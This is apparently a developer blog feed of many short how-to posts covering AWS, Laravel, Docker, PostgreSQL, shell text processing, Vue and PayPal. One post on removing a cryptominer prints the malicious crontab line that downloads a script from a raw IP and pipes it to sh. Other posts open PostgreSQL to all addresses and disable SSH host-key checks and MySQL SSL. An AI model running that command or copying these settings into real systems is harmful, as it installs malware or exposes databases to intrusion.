Recently, I find a way to start up the tmux with standard working windows.
1 |
|
I was deleting the user pool, and try to recreating a new one with Terraform, then encounter this error:
1 | Error: creating Cognito User Pool Domain (xxx.example.com): InvalidParameterException: One or more aliases specified |
But I don’t see any CloudFront distribution in my AWS console. It took me hours of troubleshooting…
1 | $ dig A xxx.example.com +short |
Eventually, I noticed the my domain is still pointing to a CNAME record. I deleted that record, and re-run the terraform command, and it works well.
Ref: How do I troubleshoot errors when I create a custom domain in Amazon Cognito?
]]>I was trying to connect to RDS via SSH tunnel, finally figure out how to do that.
1 | ssh -oStrictHostKeyChecking=no -i ~/.ssh/your-server-key.pem \ |
This command will forward your local connection in port 3307 to the RDS in port 3306.
The &
to make it run on background.
Edit the file ~/.local/share/db_ui/connections.json
1 | [{ |
The first connection is my local DB, and I use port 3306.
Since the port 3306 already in used, I map 3307 to the SSH tunnel in step 1,
in the second connection I just refer to 127.0.0.1
, but with port 3307.
The command is equivalent to
1 | mysql -h 127.0.0.1 --port 3307 -u someuser -p --ssl-mode=DISABLED |
(Some how I need the --ssl-mode=DISABLED
, otherwise it throws error)
In case if you need to add more remote connection, you can use the port 3308 or any other unused port.
1 | vim +DBUI |
Start using it now
1 |
|
1 | echo "deb http://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main" > /etc/apt/sources .d/pgdg |
The version installed here is v13
For the first time, we need to create a new user & a new database
Switch to postgres user
1 | root@host:/root# su postgres |
Then
1 | postgres=# CREATE ROLE my_user LOGIN PASSWORD 'secret'; |
Import data if necessary
Then run
1 | postgres=# \c my_database |
Then back to root user. To enable public remote access
1 | postgres@host:/root$ exit |
Change listen_addresses value to *
1 | listen_addresses = '*' |
Then edit pg_hba.conf
1 | root@host:/root# vim /etc/postgresql/13/main/pg_hba.conf |
Change the line
1 | host all all 127.0.0.1/32 md5 |
to
1 | host all all 0.0.0.0/0 md5 |
Then restart server
1 | root@host:/root# service postgresql restart |
1 | 1 Linux Operating System |
operating
?1 | $ grep -in "operating" demo.txt |
awk
to get the first chunk1 | $ grep -in "operating" demo.txt | awk '{print $1}' |
This will split the string by delimiter :
, and get the first chunk
1 | $ grep -in "operating" demo.txt | awk '{print $1}' | cut -d ':' -f 1 |
sed
commandThe sed
command delete by line number like this
1 | $ sed '23d;45d;102d' filename.ext |
Before that we already can get line number, so now we have to join it into a single line
1 | grep -in "operating" demo.txt | awk '{print $1}' | cut -d ':' -f 1 | xargs -I'{}' echo '{}d' | paste -d';' -s |
xargs
, it append a character “d”paste
, 2 lines joined into a single lineAt the end, we can
1 | grep -in "operating" demo.txt | awk '{print $1}' | cut -d ':' -f 1 | xargs -I'{}' echo '{}d' | paste -d';' -s | xargs -I'{}' sed '{}' demo.txt |
It will output to stdout, if you want to replace the file, use -i
option
1 | grep -in "operating" demo.txt | awk '{print $1}' | cut -d ':' -f 1 | xargs -I'{}' echo '{}d' | paste -d';' -s | xargs -I'{}' sed -i '{}' demo.txt |
1 | delete_lines_contain_text () { |
Before you can use in production, by default it’s in sandbox mode, which
you are required to pre-configure a few email addresses to receive email.
You’re required to describe your use case, what you will use for, how
you will handle bounce back email, etc. in details.
E.g. You will be rejected if not provide enough information
Let’s get started
Make sure you verify your domain.
In order to verify, you need to add a TXT record to your DNS management.
After domain, then add an email address (the from email)
Once added, make sure verify DKIM & MAIL FROM Domain, just add a few records to DNS management
When using SES, must have this mechanism to handle bounced email.
Let say a spammer trick your system to keep blasting email to addresses that doesn’t exist,
SES may block the service.
It’s something like a event listener, when some events happen, the listener will perform certain actions.
The action here means subscription, let’s create one
And here, I’m using webhook with HTTPS endpoint
Make sure the endpoint is available, SNS will ping it for confirmation
Go to Notifications, and edit
Set the topic to what you created just now
Remember, we’ve specified an endpoint to the topic subscription?
Let’s create the endpoint in routes/web.php. This will only be used by AWS
1 |
|
Also, we need a table to keep all bounced emails
1 | php artisan make:migration create_bounced_emails_table |
with this schema
1 |
|
In SesController.php
1 |
|
Here’s the sample output of $messageRaw
1 | Array |
In Laravel Notification feature, there’s a via
method
1 |
|
I’m using Ubuntu 20.04.2 LTS
Run
1 | $ htop |
Then I found this post
1 | sudo killall kdevtmpfsi |
www-data
crontab1 | $ sudo crontab -u www-data -e |
If you see this, just remove them
1 | * * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1 |
Turn off debug
1 | APP_DEBUG=false |
Update composer package facade/ignition
to at least 2.5.1
After reboot it’s working fine
Create docker-compose.yml in root
Here’s the basic docker-compose file to run php web app
1 | . |
1 | version: '3' |
If you’re in local development, can add in mysql container.
1 | php-fpm: |
Run it
(. src/.env
is read .env file’s as env variables)
1 | . src/.env && docker-compose up -d |
In order to run Laravel web app, there are some php extensions required.
Thus, we need to create a Dockerfile to customize from the base image (php:8.0-fpm)
1 | . |
Update Dockerfile
1 | FROM php:8.0-fpm |
And update docker-compose.yml
add
1 | services: |
remove
1 | image: php:8.0-fpm |
Remember to update .env, to point the DB & redis host to docker container
1 | DB_HOST=mysql |
Now run docker-compose up -d
should be able to visit 127.0.0.1:8080
Can build the image to Docker Hub, it’s free for public image
Refer to my Github repo
for how to create base image. It’s based on php:8.0-fpm
image
Basically the idea is, if we have 2nd or 3rd Laravel project, can just use the
base image, and duplicate the required extensions for all projects.
It also take quite a few minutes to install everything when we run docker-compose up
.
Base image is like a template, everything is ready, can use in all Laravel projects.
Just extends the pre-built custom base image (i.e. jslim/php8-laravel-base in my example here)
Update Dockerfile, change
1 | FROM php:8.0-fpm |
to
1 | FROM jslim/php8-laravel-base:latest |
and remove those apt install commands
In production we usually don’t use database in same instance with web app,
we can create another docker-compose-production.yml
Remove mysql, and perhaps need to have custom php.ini config,
and may be have custom nginx config, SSL cert, etc
1 | version: '3' |
The file structure
1 | ├── docker |
To run in production
1 | $ docker-compose -f docker-compose-production.yml up -d |
Sometime we don’t use mailable class, instead we want to send directly with send
method.
1 |
|
Unit test case
1 |
|
1 | $ echo 85 > /sys/class/power_supply/BAT0/charge_start_threshold |
When the battery down to 85%, the charging will start
When it’s over 95%, will stop
I noticed I can activate the Windows 10 with the key sealed in hardware,
get the key with the follwing command
1 | sudo tail -c +56 /sys/firmware/acpi/tables/MSDM |
E.g. http://myproject.test, by inputing this URL to simulator Safari, will just work fine.
Recently I tried to install AVD, unfortunately, the device (simulator) just don’t know about myproject.test
.
In this case, need to edit the hosts file
First, find out which device you want to use
1 | $ /path/to/android/sdk/platform-tools/adb devices |
Set the emulator to writable (nexus_5
here is the device name)
Choose x86 Images, then choose Android 7.1.1 (non Google APIs) (see reference below for more details)
1 | $ /path/to/android/sdk/tools/emulator -writable-system -netdelay none -netspeed full -avd nexus_5 |
Open browser in android device, type in the URL http://myproject.test
But when I tried to install, I faced some minor issue, that’s why I write this post.
Also, I not follow everything from the guide (but most of the things)
Just follow OSTechNix guide - Step 3: Partition Hard drive to create partitions.
If you don’t want to use double of your RAM size to create the swap, you can refer to this.
Mount the disk
1 | mount /dev/sda1 /mnt |
Install
1 | this step refer https://wiki.archlinux.org/index.php/Installation_guide |
Initial setup to the installed system
1 | arch-chroot /mnt |
Set root password
1 | $ passwd |
1 | vim /etc/hostname |
Here I put my name as hostname
1 | js |
1 | vim /etc/hosts |
with content
1 | 127.0.0.1 localhost |
Then setup network
1 | $ systemctl enable dhcpcd |
1 | pacman -S grub os-prober |
(For UEFI mode, refer this post)
If reboot the system now, you won’t be able to connect to internet.
To setup WiFi connection, refer to this post
Now let’s exit from the system
1 | $ exit |
Unmount the disks
1 | umount /mnt/home |
After reboot, should be able to enter the system. Login as root
Let’s update the package list
1 | $ pacman -Syu |
I create an account, js
1 | useradd -m -g users -G wheel,storageower -s /bin/bash js |
Set the password
1 | $ passwd js |
Install sudo
package
1 | $ pacman -S sudo |
Now, before we can add js to sudo
, must create a symlink for vim
(vi
is not pre-installed in Arch)
1 | ln -s /usr/bin/vim /usr/bin/vi |
Then edit the sudoers file (/etc/sudoers)
1 | $ visudo |
Just uncomment this line
1 | %wheel ALL=(ALL) ALL |
Now, let’s try login with js. Exit the root first
1 | $ exit |
Now logged in as js, we need root privilege to install package
1 | $ sudo pacman -S xorg xorg-server |
Reboot it.
1 | $ sudo reboot |
DONE
But the problem is, in the root view, the event listener never get called.
See the code 👇
MyFolder.vue is a nested component
1 | <template> |
index.html Use the component, and pass the root folders
1 | <my-folder :folders="rootFolders" |
In app.js, define a handling method for folder checkbox toggle event.
1 | Vue.component('my-folder', require('./vue/MyFolder.vue')); |
When check or uncheck the checkbox in level 2, the console output will be
1 | in level 1, folder changed 15 |
The event from the inner child, passed to outer child, but never reach the root
event handler folderCheckboxHandler
.
I was struggled for half day.
At the end, I figured out that the event name can’t be camelCase (see reference below),
then I change to kebab-case, it works just fine.
In index.html
1 | <my-folder :folders="rootFolders" |
In MyFolder.vue
1 | <template> |
342
pageviews621
pageviews781
pageviews388
pageviews562
pageviews597
pageviewsSo that I can generate report (in my web app, not GA) and filter by date range.
But then, I encounter an issue, when I filter the report range from 2019-06-01
to 2019-06-30
,
the total pageviews are different from GA report.
Then I cross check it day by day, and both (GA & web app) are tally.
👆 from 2019-06-01
to 2019-06-21
, both are tally
👆 from 2019-06-01
to 2019-06-22
, the result are different.
From here, I assume the result for 2019-06-22
has problem
But when I cross check for 2019-06-22
, both are tally again 🤔
👆 from 2019-06-19
to 2019-06-22
, the result are tally also.
Then after googled for a while, I think is caused by the GA sampling, perhaps from range2019-06-01
to 2019-06-22
, the data set are too large, thus Google just pick a sample set of data. See the references 👇
I’m just know about this. I will be doing this in iPhone.
mitmproxy is free & open source.
1 | $ brew install mitmproxy |
once installed, run it
1 | $ mitmweb |
it will open up your browser, you will see this
ifconfig
in terminal)Open Safari in your iPhone
mitmproxy
profilemitmproxy
All settings is done, now you can try to open an app
You can see the request header, and response as well
]]>I was working on a tracking script, which let client to include into their site.
I added a for
loop, to update all elements (string) withreplace
method. Something like this:
1 | var processed = arr.map(function (item) { |
Outside of this function, is a recursive function.
Of course, I created an empty blog (Wordpress) with fake content, and the script work just nice. Tested many times.
When the client embed the script into their site (is a forum), after a while,
their user open a post to complain about this, making their browser & PC hang.
Then why? In my blog has no issue, but their forum got?
I found out, their forum has many tracking script, GTM, Facebook, and a lot more,
I think probably too many things to load at once, and my script is also heavy and blocking the browser main thread.
I do a test after fixing it (by removing the arr.map()
).
1 | let begin = Date.now(); |
Without this, it took less than 100ms, with this, took about 30 sec.
So, becareful when there are blocking loops, and try to simulate as close to production environment as possible.
Sometime shit just happen in production, but never happen in staging.
]]>When comes to generate a complicated report, with complicated filter/sort, the code logic can be very confusing.
I’ve encouter a problem with 1 of the complex report, duplicated table join.
The controller method has over 1,500 lines.
Thus, I figure out that we can get the joined tables from Laravel Query.
The helper function as below, we can check if we have joined the table before.
1 |
|
Usage
1 |
|
Before I know about this, I debug JavaScript through Chrome console.
But it’s quite troublesome, when I want to run a whole chunk of JavaScript code.
With this package, I can just write the code in a JS file according the domain, e.g. google.com.js,
so long the URL matched google.com
, it will execute the code from google.com.js.
(You can find the google sample code from the installation guide)
Another use case for myself, is I can use to scrap website content, and test my script here.
I use Puppeteer to scrap others site content, and use JavaScript to access their DOM.
(refer to my simple module)
Everytime I want to test and see the output, I have to keep running the command over & over again. e.g.
1 | ... |
Running the script take longer time, as need to instantiate the browser, then load the page, evaluate the script, close browser.
With Witchcraft, I can now write the // JS code goes here
to mydomain.com.js, and view the output in console.
After the output correct, then I just copy the JS code over to the scraper.
I’ve tried this on one of the eCommerce website
http://shopee.com.my/search?keyword=gopro
And I able to get output
The JavaScript code is pretty long
1 | setTimeout(function() { |
You won’t want to write these in Chrome console right? 😏
1 | version: '3' |
Then run
1 | $ docker-compose up -d |
NOTE: must specify networks
, otherwise kibana won’t connect with elasticsearch
I was working on this too, and can’t find any plugin for this.
Definitely, we need a scroll event listener
1 | $(window).scroll(function () { |
The code above will load the next article when scroll to the bottom-most.
But let say we want to load the article 500px before the bottom-most.
1 | $(window).scroll(function () { |
But then, now every time scroll, it will trigger many requests on loadAnotherArticle()
.
To prevent it, add a loading flag…
1 | // to prevent multiple requests on same article |
What if want to change the URL & meta title/description when scroll to next article?
1 | // helper function to update the meta content |
The tricky part comes, what URL should be used if in the middle of 1st & 2nd article?
Here what I do is, determined by the visible area, which every is higher.
Let’s update the scroll event
1 | // those articles already loaded to `<body>` |
Now the final version will be like
1 | // to prevent multiple requests on same article |
loadAnotherArticle()
implement by yourself1 | { |
Here I use Google Optimize, setup via
Google Tag Manager to do the job.
I assume you have Google Analytics ready. Let’s create an experiment, and select the type A/B test.
Create a variant, put in whatever name you like. Then set Page Targeting to
URL equals SERVER_SIDE
. Link up with GA & set the objective
Create 2 variables: experiment ID & variant
The fields to set is allow you to define which experiment & which variant to run.
In server side (I use PHP here), randomly choose a variant, and select the algorithm to use
1 |
|
In front end, trigger the experiment manually, by setting the dataLayer
variable
1 | <script> |
Note that the dataLayer.push
must before the GTM script.
If you have any questions, please ask here.
P/S: If you’re looking for other way of do A/B testing, this article might be for you
Flexible A/B Testing with AWS Lambda@Edge
What if we want to access via MySQL client? Here’s why we need VPN.
After you created an EC2 instance (I chose Ubuntu 18.04), then create an elastic IP and associate with this instance.
Because we don’t want risk the IP to change when the instance restarted.
1 | ubuntu@ip-172-xxx-xxx-xxx:~$ sudo bash openvpn-install.sh |
The first time, enter the private IP (should be auto populated), then 2nd time is the elastic IP.
Now, you still won’t be able to connect to VPN yet.
Because the new instance doesn’t open some ports by default, now let create.
In the inbound tab:
Type | Protocol | Port Range | Source | Description |
---|---|---|---|---|
Custom UDP Rule | UDP | 1194 | 0.0.0.0/0 | |
SSH | TCP | 22 | 0.0.0.0/0 | |
Custom TCP Rule | TCP | 943 | 0.0.0.0/0 | |
HTTPS | TCP | 443 | 0.0.0.0/0 |
Then go back to instance menu, select the OpenVPN instance, and associate the VPN security group.
In the inbound tab
Type | Protocol | Port Range | Source | Description |
---|---|---|---|---|
MYSQL/Aurora | TCP | 3306 | 172.xxx.xxx.0/24 | Web App |
MYSQL/Aurora | TCP | 3306 | 172.xxx.xxx.xxx/32 | OpenVPN |
After this, you should be able to connect your local to VPN, and connect MySQL client to RDS.
I’m not going to repeat the original article, here what I wanted to share is the problems that I faced, and it took me days to try and error to make it works.
I’ve Nova installed, and it required a json file for authentication purpose.
So what I’ve changed (the original .gitlab-ci.yml is from the original author)
.gitlab-ci.yml
1 | composer: |
What I’ve done is just add a few commands to replace the Nova username & password to the auth.json file, the auth.json.example look like below.
1 | { |
Then where’s the $NOVA_USER
& $NOVA_PASS
? Just go to your GitLab project
Settings -> CI/CD -> Variables
Then, in config/deploy.php, add the auth.json to the shared folder, edit the options
section (GitHub issue)
1 |
|
By default, the only .env will be symlinked to shared folder, so now make sure you copy the auth.json file to shared folder in your remote server.
For this part, I was referring to the GitLab article.
1 | # Create user deployer |
I didn’t allow the whole /var/www to deployer user, so I created a project folder
1 | sudo mkdir /var/www/mysite |
Now, must make sure the rsa private key store in /home/deployer/.ssh/
1 | -rw------- 1 deployer deployer 2669 Jun 2 11:26 authorized_keys |
refer to the original article for more info
Another problem I’ve faced
1 | > post-autoload-dump: @php artisan package:discover |
I’m using barryvdh/laravel-debugbar, previously was in require-dev
, I solve the issue by just moving from require-dev
to require
.
I was struggling with this for hours, end up, it’s due to the interactive & non-interactive shell mode, see here for more info.
Then I realised, I was installing the npm
with nvm, this is install as per user.
I solved this issue by removing the npm
& node
from nvm
1 | rm -rf ~/.nvm |
and install node globally. Refer to this article: Installing Using a PPA
1 | production.ERROR: No application encryption key has been specified. {"exception":"[object] (RuntimeException(code: 0): No application encryption key has been specified. at /var/www/mysite/releases/2/vendor/laravel/framework/src/Illuminate/Encryption/EncryptionServiceProvider.php:44) |
This is very obvious, the APP_KEY
is empty. So I run
1 | $ php artisan key:generate |
And I refresh the browser, still getting the same error. I even tried in tinker, and able to get result by
1 | echo config('app.key'); |
Finally, I solve it by restarting fpm
1 | $ sudo service php7.3-fpm restart |
Update your nginx config
1 | location ~ .php$ { |
Then restart nginx
Hope this article help :)
]]>1 | window.onbeforeunload = function(evt) { |
And I set the async to false
, it doesn’t work.
After googled, I found a better solution navigator.sendBeacon
, and it works well.
1 | window.onbeforeunload = function(evt) { |
References:
]]>I will show the demo in Laravel command,
it’s easier and comfortable for me.
First, we must create a service account in order to call the API.
Once you create, you will download the key file.
Without this step, you won’t be able to get any data. Because GA will treat
the service account as an actual account, must grant at least a READ access.
Let’s add the service account user to View level.
Remember to set the permission to readonly
In Laravel project, run this
1 | $ composer require google/apiclient:^2.0 |
After installed, then create a command for testing
1 | php artisan make:command GetGAResult |
Now let’s edit the file
1 |
|
If you want to know more about what to know about what are the fields available,
can refer here.
1 | private function getGADataByDate($ga_id, $start_date, $end_date, $fields, $callback) |
Now, let’s update the handle()
1 |
|
Now, let’s try it
1 | $ php artisan get-ga-result |
Here’s the output
1 | +-------------------------------------------------------------------------+-----------+------------------+ |
menu
id | seq | col_1 | col_2 | col_3 |
---|---|---|---|---|
1 | 1 | val 1 | val 1 | val 1 |
2 | 2 | val 2 | val 2 | val 2 |
3 | 3 | val 3 | val 3 | val 3 |
1 | @extends('layout') |
1 | $(function () { |
I show the example in Laravel
1 |
|
Now everytime dragged the table row, will trigger the update of the menu sequence, then reload the data table data.
Example, in rich editor like TinyMCE, if want to embed
a YouTube video, what we usually do is
I did that previously, and it works. But when I do the same thing to Instagram
post, it doesn’t work so well, especially embed more than 1 post.
If you ever use Wordpress before, you will notice when you paste a YouTube link
directly to editor, and it will load the video, without the need of embed code.
Let’s add the oEmbed feature into your Laravel app
Because I couldn’t found any good JavaScript oEmbed plugin, then I decided to use
this PHP plugin.
1 | $ composer require embed/embed |
Add a line to routes/web.php
1 | Route::get('oembed', ['as' => 'oembed', 'uses' => 'YourController@oEmbed']); |
In YourController.php
1 |
|
Now, you can test your endpoint
GET https://yoursite.com/oembed?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DG5seUqK1EeE
The most important data is the code.
1 | function isValidURL(str) { |
Now, let’s try to paste a YouTube link to TinyMCE editor. It should works 😉
1 | SELECT books.id AS book_id |
See there’s a sub-select inside? Let’s see how to construct this query in Laravel
\App\Models\Book
class map to the table books
1 |
|
By using the leftJoinSub
to construct the query
e.g.
books
id | isbn | title |
---|---|---|
1 | 8-230185-1321 | The Secret C++ |
2 | 23801-23815-9 | MySQL for tummy |
3 | 78-923722-223 | Programmer Bible |
users
id | username | name |
---|---|---|
1 | js | JS |
2 | foo | Mr Foo |
3 | bar | Ms Bar |
user_books
book_id | user_id | date |
---|---|---|
2 | 1 | 2019-01-03 12:38:29 |
1 | 3 | 2019-01-08 18:08:09 |
3 | 2 | 2019-01-13 22:37:12 |
Let say now want to filter the books has borrowed by user ID 1 & 3
If normal select
1 | SELECT books.id AS book_id |
Filter in single column
1 | SELECT books.id AS book_id |
The trick is, to add a symbol (here I use #) to wrap the ID when concat the values,
then in bottom there use LIKE & OR to filter, remember to wrap around the ID when filter.
This example may not exactly shows up the purpose of using sub-query & wrap the value with symbol.
It look complicated & uncessary, but, in some cases may need to do in this way.
1 |
|
The thai characters file name throw error
1 | GuzzleHttp\Exception\ClientException: Client error: `GET http://example.com/path/to/ .jpg` resulted in a `404 Not Found` response: |
The URL encoding is actually wrong, because I paste the URL to Chrome address bar, and then copy again, it gives
The Guzzle encoding has problem, so how I solve this is, use php curl, the raw php code…
1 | function download($url) { |
Simple & working solution :)
]]>Sometime we would like to add in Bootstrap & jQuery or any plugins into it.
Let’s see how we achieve it.
1 | tinymce.init({ |
Above is the basic setup. To add in Bootstrap stylesheet, just add in content_css
option
1 | content_css: [ |
What about JavaScript? We can make use of init_instance_callback
option
1 | init_instance_callback: function(editor) { |
References:
]]>After keep trying hundreds of times, I found a way to do it.
I will show the example in Node.js
1 | mkdir mylambda |
Input all necessary info
1 | $ npm install aws-sdk --save |
1 | const aws = require('aws-sdk'); |
First, we need to know how the event
& context
object looks like
Simple, just output to console
1 | console.log('event', JSON.stringify(event)); |
Upload to lambda, and trigger it. We need to trigger it for the first time only we know how it looks like.
Let’s copy the output for event and make it a file named event.json in the project root. Same goes for context.
Example output:
event.json
1 | { |
context.json
1 | { |
Add this block to the event handler, e.g.
1 | exports.handler = function(event, context, callback) { |
Then, at the most bottom, add this
1 | exports.handler(require('./event'), require('./context'), function(err, obj) { |
Now you can run
1 | $ node index.js |
NOTE: Remember to remove the code you added in Section 4 before upload to production.
References:
]]>Some time the file size are too large and not able to copy to FAT thumb drive.
Now, let’s play a little trick…
Open up a terminal, and cd
to the directory that the files you want to copy over.
1 | $ cd /path/to/file-dir |
The 2nd line actually serve as a HTTP server in current directory.
Now open up another terminal, and type
1 | $ ifconfig |
Now you found out your IP is 192.168.0.122
.
Open up browser and type the URL 192.168.0.122:8000, you will see
Just click on the files you need, and download it :)
]]>Replace the following content
1 | /* Authentication type */ |
with this
1 | /** |
The first thing my mentor told me to do was, clone his dotfiles.
If you first time heard about this term, I’m pretty sure that you’re new to Unix world.
Today, I have my own config in my GitHub repo.
In Unix, every programs’ config will be kept in home directory (~).
For example, for vim config will be kept in ~/.vimrc
OR /home/username/.vimrc
.
Also, you can add alias to shorthen your command. Just have to edit the file ~/.bashrc
, and add
1 | alias gitdiff='git diff --color' |
which mean, when you type in command gitdiff
, it actually equivalent to git diff --color
.
I add all my config to my GitHub repo and managed via homesick.
If you’re new to unix environment, you’ll find it actually save you lots of time.
]]>I’ve tried to register more than 1 Listener to an event.
E.g. in app/Providers/EventServiceProvider.php
1 |
|
Example above shows that once account is created, system will send the activation email automatically, followed by send SMS.
I’ve encounter the problem that the 2nd listener is not triggered.
The reason behind is, there’s a return false;
in SendActivationEmail::handler
. E.g.
1 |
|
The return false;
indicate that the rest of listeners will not be executed.
So what I did was, use return;
instead of return false;
. i.e.
1 | if ($event->account->is_fb_login) { |
I noticed this problem when I try to generate a pdf file from php, the filename was not the right chinese character.
1 | $ sudo apt-get install language-pack-zh* |
(If you need korean & japanese language)
Japanese language
1 | $ sudo apt-get install language-pack-ja* |
Korean language
1 | $ sudo apt-get install language-pack-ko* |
Lastly
1 | $ sudo apt-get install fonts-arphic-ukai fonts-arphic-uming fonts-ipafont-mincho fonts-ipafont-gothic fonts-unfonts-core |
After installed everything, reboot the server.
1 | $ sudo reboot |
References:
]]>It was back in July 1995 when Amazon first opened the virtual doors to its store. At the beginning, this bookstore was situated in a small garage. Nowadays, it’s one of the biggest success stories of the modern world thanks to an ever increasing portfolio of products, mesmerizingly efficient logistics and, generally, very good prices across the board. Amazon’s history has so far been filled with plenty of interesting stories, so we’ve decided to share some with you.
Back in the old days, Amazon had no inventory. So, whenever customers ordered a book, the employees would have to order it from a bookseller, wait for it to arrive at their offices, and then re-ship it to the buyer. For common titles, people only had to wait for about a week before their order arrived. However, if a book was more difficult to find, people would have to wait for up to a month before getting their order.
Another interesting fact is the name behind the brand. The owner of Amazon, Jeff Bezos, at first actually wanted to name his bookstore ‘Cadabra’ from the word ‘Abracadabra’. But while talking to the phone with one of his lawyers, he was told that it sounds too much like ‘cadaver,’ which was the reason to pick another name.
Bezos turned to the dictionary and decided to look up the words under the first letter of the alphabet. He settled on ‘Amazon’ because back when he was just starting out his company, the website listings were ordered alphabetically. Therefore, choosing a name with the first letter of the alphabet meant that his website would sit higher up on these listings.
There are plenty of other interesting facts and stories that surround Amazon, since it’s been around for the past 23 years. If you’d like to know more, take a look at the infographic below.
URL: https://www.16best.net/blog/amazon-ecommerce-leader-infographic/
Disclaimer: I did not earn any commission or any benefits from this guest post, other than a back link to my blog. 100% of the content above is not written by me.
]]><a href...
will do. But what if the file only allow authorised user to access? Means you have to download first, in this case will have to use http1 | import { Http, ResponseContentType } from '@angular/http'; |
Make sure change the responseType to ResponseContentType.Blob
.
Then, in the html file
1 | <button class="btn btn-primary" (click)="downloadFile()"><i class="fa fa-file-pdf-o"></i> Download</button> |
Now, users are able to download the file when click on the button.
In my case, I’m using WinForms (CefSharp.WinForms v57.0.0).
When user click on the <a>
element, the C# code there need to perform some action.
In C# code
1 | ... |
In JavaScript code
1 | $('a').click(function(e) { |
This post involved Front End (Angular 5) & Back End (Laravel 5).
And I assumed you know how to create PayPal account (you may refer here if needed).
(Assumed that you’re terminal always in the project root)
1 | $ composer install paypal/rest-api-sdk-php --save |
config/paypal.php
1 |
|
Add the following content to .env
1 | PAYPAL_CLIENT_ID=AcT3DS8a-SmTEtSl9hNcwyscoLypndD9q5L0YcfxmaUavz3p_xwFNRE-OauO |
Now we practice Webhooks here.
Let’s login to PayPal developer console. (I assumed you already created an app)
Then look for SANDBOX WEBHOOKS section. You can add any call back here with the URL route you want to handle.
In my side, I selected Payment Sale Completed. Which mean every time the payment sucessfully made, PayPal will trigger the URL there in POST request.
Edit the routes/api.php
1 |
|
Then create a controller app/Http/Controllers/PayPalController.php
1 | namespace App\Http\Controllers; |
You can see there are green tick and yellow exclamation mark. The echo $status;
is to tell the PayPal server that this webhook has been processed. Otherwise it will resend the POST webhook request.
Here is pretty simple, just need to add in the JavaScript code to the component.
1 | ... |
pricing.component.html for example
1 | <div id="paypal-button-container"></div> |
Update the pricing.component.ts
1 | declare var $:any; // want to use jQuery here |
The PayPal JavaScript file must be injected during run time.
You can see I use a lot of jQuery (e.g. $('total').val()
), is because the code block inside is cannot be set a typescript variable directly, the total amount may change if user change products. Thus, jQuery can ensure it get the correct value from the form.
Now you run your Angular app, you should see a PayPal button there.
Once you make the payment, the webhook will be triggered.
Let say you don’t want the payment processing part by webhooks, you can do it in the JavaScript success block.
Edit pricing.component.ts
1 | ... |
Add a new route
Edit the routes/api.php
1 |
|
Then edit app/Http/Controllers/PayPalController.php
1 |
|
References:
]]>192.168.10.10
.Now, let’s allow it to access from other clients.
Edit the file /etc/hosts
1 | 192.168.10.10 my.dev.domain |
Edit the file /etc/hosts
1 | 192.168.1.115 my.dev.domain |
Done. Now you can open up the browser, and key in the URL http://my.dev.domain:8000
. (The port number by default is 8000)
References:
]]>1 |
|
Setup cronjob
1 | $ crontab -e |
add the following content, example to backup everyday 11pm
1 | 0 23 * * * /path/to/script.sh >/dev/null 2>&1 |
Usually I just use 3rd party plugin for most of my project, e.g. jQuery.ajax
1 | $.ajax({ |
something like that, but when I try to create a class which has a method like success
in jQuery.ajax
, to let the user who use my library to be able to handle the callback. So here is what I found:
FooBar.js
Your defination goes here
1 | (function() { |
script.js
Your implementation goes here
1 | var foobar = new FooBar({ |
If let say you want to pass extra params
1 | this.options.close.call(this, 'extra message'); |
References:
]]>You can create in any where as you like. For my example, I will create in
app/Libraries/CustomValidator.php
1 | namespace App\Libraries; |
Edit the file app/Providers/AppServiceProvider.php
1 | namespace App\Providers; |
Edit resources/lang/en/validation.php and add this
1 | 'custom_rule' => 'The :attribute has custom error.', |
1 |
|
References:
]]>Assume that you already setup NAppUpdate successfully. Now we want to simplify it to just 1 click publish, and the others clients can just update it
In your server, you need a path to store the xml file. For my case, I will create a subdomain for it. E.g.
1 | cd /var/www/pub.yoursite.com |
Assume your site hosted in this path
1 | . |
The index.php you can just simply put some dummy text into it, because the most important file is release.xml
The content of release.xml is auto generated. I’ve created the php file, download it to your server, and place it anywhere, (e.g. /path/to/publish.php)
Then create a cronjob for it
1 | * * * * * /usr/bin/php /path/to/publish.php > /dev/null 2>&1 |
This cronjob will run every minute, so once you have new file published to server, it will auto generate the release.xml
First you need to build the project
Then go to property there
And the go to Publish tab
Set your FTP details, then publish it
Edit the file /path/to/publish.php, change the constants to match your own
/home/ftpuser/path/to/releases/Application\ Files
/var/www/pub.yoursite.com/releases
/var/www/pub.yoursite.com/release.xml
YourProject_
http://pub.yoursite.com
Now once your app published, the cronjob will execute this php script, and the script will generate release.xml,
and copy the necessary files to releases folder.
1 | . |
Inside the releases folder will then have all version of what you have published.
]]>In most cases, we need to run some long process tasks in background, by either cronjob or queue.
Here I’ll demostrate both.
We need to separate normal http operation from long process background tasks. So let’s create a worker environment
1 | $ eb create <environment> -t worker |
eb deploy
First, create a directory in your project root
1 | cd /path/to/project |
You can read the official documentation here
From now onward, I assume the current directory is in project root
First you need to create a .config file
1 | packages: |
Where the supervise.sh you can download here
(credit to Günter Grodotzki)
Once you done this, you must add an environment variable in your elastic beanstalk console (worker tier only) “SUPERVISE=enable” to activate
Because you don’t want the webapp environment to listen to the queue, thus this variable is used to identify which environment need to run this.
Create a queue in SQS console, then copy the URL to environment variable, e.g.
1 | https://sqs.ap-southeast-1.amazonaws.com/999999999999/laravel-queue |
For how to use queue in laravel, refer here
Create a file named cron.config
1 | container_commands: |
Where the cron.sh you can download here
and also download the crontab (you may modify if you need)
Place this 2 files in .ebextensions. Again, same as supervise, you need to add INS_CRONTAB
environment variable in worker tier, and set the value to enable
.
One thing to take note, whenever the environment scale up to multiple server, your crontab may run multiple times, thus, I suggest that
create a table (e.g. cronjob
) in database, and add 2 attributes: executed_at
and completed_at
.
Thus, in your php script, you only run those job with executed_at
= null
, to avoid duplication.
1 | $ eb deploy <worker environment> |
Done
References:
]]>Why python? Just for fun :)
Let’s begin
First, define a main function for the python script
1 | import datetime |
Then create a function to perform http requests
1 | ... |
If you don’t understand why need the cookie, you can refer Session hijacking: facebook.com example.
Note that the above function http_test()
actually perform POST login, GET sales report, POST sales report
Now in your main
function, replace # http requests goes here
with http_test()
Make the python script executable
1 | chmod +x http_requests.py |
if you run this script, means 1 client with 20 (for loop) x 3 requests, which equals to 60 requests one after one.
What if want to make it 100 concurrent connections?
Simply create another shell script, let’s name it run.sh
1 | for i in {1..100} |
also make it executable
1 | chmod +x run.sh |
Then run it
1 | ./run.sh |
Now you can simulate 100 concurrent connections with each 60 requests.
You can download the scripts here:
References:
